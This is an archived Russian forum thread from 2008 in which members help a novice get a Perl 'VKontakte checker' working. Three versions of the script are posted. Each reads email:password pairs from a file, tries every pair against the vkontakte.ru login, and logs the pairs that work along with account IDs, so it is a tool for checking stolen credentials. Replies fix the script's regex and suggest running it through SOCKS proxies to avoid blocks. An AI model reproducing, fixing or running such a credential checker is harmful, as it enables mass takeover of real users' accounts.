Просмотр полной версии : Помогите запустить VKontakte checker на PERL.
Вот сам скрипт:
#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));
my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">/;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;
Вроде все делаю так как надо, но когда нажимаю на скрипт он тут же закрывается, помогите плиз нубу!
Запусти через cmd, посмотри что пишет
Запусти через cmd, посмотри что пишет
это как?
поподробней плиз и еси не трудно объясните плиз по понятней)
пуск -> выполнить -> cmd
и там укажи путь до твоего .pl файла
пуск -> выполнить -> cmd
и там укажи путь до твоего .pl файла
я прописал а там пишет тип не является командой....
[Dezzter]
23.06.2008, 22:06
Ты Perl установил?
']Ты Perl установил?
да, ActivePerl установил, у меня др скрипты на перле пашут, а этот открывается и тут же закрывается((((
[Dezzter]
23.06.2008, 22:10
епт, ты его через cmd открывай, не помню точно, но вроде так perl C:\Perl\bin Путь до скрипта, я просто с пёрлом пару раз дело имел, точно не помню как, ну пробуй
']епт, ты его через cmd открывай, не помню точно, но вроде так perl C:\Perl\bin Путь до скрипта, я просто с пёрлом пару раз дело имел, точно не помню как, ну пробуй
написал так: C:\Perl\bin\perl.exe нажал ентер и ничего не появилось
ты скрипту пaраметры задал?
ты скрипту пaраметры задал?
какие параметры???
ну че там c:\s.pl c:\spisok.txt c:\good.txt
Посмотрите, может ошибка в скрипте???
ПОВТОРЯЮ ЕЩЕ РАЗ крипт пашет
использование c:\perl\bin\perl.exe check.pl
предварительно в папке C:\perl\bin\ должен быть файл logs.txt с мылом:пасс
http://i011.radikal.ru/0806/32/19f6fa87ed43.jpg (http://www.radikal.ru)
в 27 строчке хватит и этого:
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;
("> там вообще не нужно
он id сцапает и так. а при оригинале еррор там лезет)
вечером выложу переделанную немного версиюю а то в этой слишком много запросов )
точнее можно не лазя на рейт пхп снять рейтинг с главной
пуск->выполнить->cmd
cd C:\perl\bin
perl cheker.pl 123456 log.txt
где 123456 и log.txt параметры для скрипта
На ПХП можно как то прочекать существование анкеты с записью id существующей анкеты в файл? Очень пригодился бы такой скрипт, только на ПХП.
Заранее СПС за ссылки/советы/работы.
Все проблема решена, всем спасибо!
Все-таки была ошибка в самом скрипте! ;)
Это либо при копировании сюда глюкнуло.
Либо защита от детишек.
хз)
но там регуляру можно и сократить как я написал, он и так все цифры с Id возьмет =)
подскажите лучше чекер чтоб кол-во друзей выводил а то ручками долго)
Чуток переделанный код
#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));
my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;
my $idd=$2;
my $res = $1 if $req=~m/<div id="percent">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;
Вот скрипт, я его немного сделал под себя:
#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/ : /, shift(@f));
my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;
Посматрите, что нетак, а то сеня утром все было ок, а щас пишет что у всех акках пас или лог не верный, заранее спс.
запускай через sockscap или через proxifier и будет тебе счастье
запускай через sockscap или через proxifier и будет тебе счастье
кароче, с моим скриптом все понятно!
вобшем он странный какой-то, пишеь его он пашет опред время а потом не пшет, пишешь тоже самое пашет какое-то время а потом та же история...
Foxtrot1
25.06.2008, 13:45
а собственно ТС чем этот чекер лучше чем на php... разве скорость выше?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot